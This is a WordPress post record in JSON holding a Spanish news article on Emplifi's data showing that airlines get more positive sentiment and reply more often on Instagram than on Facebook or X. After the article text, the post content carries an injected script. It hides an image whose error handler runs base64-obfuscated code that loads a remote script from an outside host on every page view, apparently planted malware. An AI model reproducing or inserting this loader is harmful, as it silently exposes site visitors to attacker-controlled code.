{"id":16107,"date":"2024-07-03T09:35:47","date_gmt":"2024-07-03T12:35:47","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=16107"},"modified":"2025-08-13T15:52:18","modified_gmt":"2025-08-13T18:52:18","slug":"las-aerolineas-responden-mas-a-los-clientes-en-instagram-que-en-facebook-y-x","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/07\/03\/las-aerolineas-responden-mas-a-los-clientes-en-instagram-que-en-facebook-y-x\/","title":{"rendered":"Las aerol\u00edneas responden m\u00e1s a los clientes en Instagram que en Facebook y X"},"content":{"rendered":"\n<h4 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-c1d56a920a4dcbf729f04ae4e940183c\" style=\"background-color:#4e5051\"><em>Un an\u00e1lisis de la actividad en redes sociales de aerol\u00edneas globales realizado por Emplifi subraya la creciente relevancia de Instagram en sus estrategias de marketing y experiencia del cliente (CX)<\/em><\/h4>\n\n\n\n<p>Emplifi, una plataforma de Customer Engagement, ha publicado datos sobre el rendimiento en redes sociales de aerol\u00edneas globales, analizando el sentimiento y las tasas de respuesta en Facebook, Instagram y X (anteriormente Twitter) durante los per\u00edodos del 1 de enero al 31 de mayo de 2020, 2021, 2022, 2023 y 2024.<\/p>\n\n\n\n<p>Los hallazgos de Emplifi revelan que el sentimiento de los comentarios para las aerol\u00edneas es m\u00e1s positivo en Instagram, con m\u00e1s de la mitad reflejando sentimientos favorables. En comparaci\u00f3n, el 34% de los comentarios en Facebook y solo el 15% en X fueron positivos. Al analizar el historial a\u00f1o contra a\u00f1o, se observa que el sentimiento en Instagram se ha mantenido abrumadoramente positivo durante los \u00faltimos cuatro a\u00f1os, aumentando casi cuatro puntos porcentuales en el \u00faltimo a\u00f1o.<\/p>\n\n\n\n<p>Las aerol\u00edneas tambi\u00e9n registraron las tasas m\u00e1s altas de respuesta en Instagram en comparaci\u00f3n con Facebook y otras plataformas. Desde 2022, los viajeros tienen m\u00e1s probabilidades de recibir respuestas a sus preguntas en Instagram (27%), en contraste con X (24%) y Facebook (20%).<\/p>\n\n\n\n<p>A medida que los consumidores reservan vuelos para el verano, los datos de Emplifi subrayan la importancia crucial de Instagram para las aerol\u00edneas. Seg\u00fan una encuesta de Airlines for America (A4A), una asociaci\u00f3n comercial que apoya a los operadores a\u00e9reos estadounidenses, la mitad de los adultos en Estados Unidos tomaron vuelos en 2023, y m\u00e1s del 70% de los encuestados indicaron que est\u00e1n realizando un desempe\u00f1o igual o superior. viajes de negocios que antes de la pandemia. La encuesta de A4A tambi\u00e9n revel\u00f3 que un 71% de los viajeros se declararon satisfechos con su experiencia general de viaje en avi\u00f3n el a\u00f1o pasado.<\/p>\n\n\n\n<p>Por otro lado, en M\u00e9xico, seg\u00fan la Secretar\u00eda de Turismo, en 2023 el n\u00famero de pasajeros transportados en vuelos nacionales aument\u00f3 11.3% en comparaci\u00f3n con 2022, mientras que en vuelos internacionales se transportaron 55 millones 171 mil pasajeros, 10% m\u00e1s que el a\u00f1o anterior.<\/p>\n\n\n\n<p>Susan Ganeshan, directora de marketing de Emplifi, coment\u00f3: &#8216;Las aerol\u00edneas enfrentan una gran presi\u00f3n en internet, pero nuestros datos muestran que el sentimiento de los clientes en Instagram es mayoritariamente positivo. En Facebook y X, el sentimiento ha permanecido mayoritariamente neutral en los \u00faltimos cinco a\u00f1os\u201d. Ganeshan destac\u00f3 la importancia de que las aerol\u00edneas escuchen y respondan activamente a los clientes, siguiendo de cerca sus necesidades de atenci\u00f3n en las redes sociales: \u201cAl priorizar la atenci\u00f3n al cliente en estos canales, no solo se fomenta la fidelidad a la marca, sino que tambi\u00e9n contribuye significativamente al crecimiento de los ingresos\u201d.<\/p>\n\n\n\n<p>Emplifi tambi\u00e9n revel\u00f3 las diez marcas de aerol\u00edneas m\u00e1s mencionadas en X tanto en EE.UU. como a nivel global. En Estados Unidos, Delta Air Lines, American Airlines y JetBlue fueron las aerol\u00edneas m\u00e1s mencionadas en X entre enero y mayo de este a\u00f1o. A nivel mundial, las marcas m\u00e1s mencionadas fueron British Airways, Qatar Airways y Delta Airlines, respectivamente. En M\u00e9xico, las aerol\u00edneas m\u00e1s mencionadas fueron Aerom\u00e9xico, Volaris y Viva Aerob\u00fas.<\/p>\n\n\n\n<p>Fuente: Emplifi<\/p>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Un an\u00e1lisis de la actividad en redes sociales de aerol\u00edneas globales realizado por Emplifi subraya la creciente relevancia de Instagram en sus estrategias de marketing y experiencia del cliente (CX) Emplifi, una plataforma de Customer Engagement, ha publicado datos sobre el rendimiento en redes sociales de aerol\u00edneas globales, analizando el sentimiento y las tasas de [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":16108,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[116],"tags":[],"class_list":["post-16107","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-aerolineas"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/16107","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/comments?post=16107"}],"version-history":[{"count":2,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/16107\/revisions"}],"predecessor-version":[{"id":19071,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/posts\/16107\/revisions\/19071"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/media\/16108"}],"wp:attachment":[{"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/media?parent=16107"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/categories?post=16107"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/nubesmgzdigital.com.ar\/index.php\/wp-json\/wp\/v2\/tags?post=16107"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}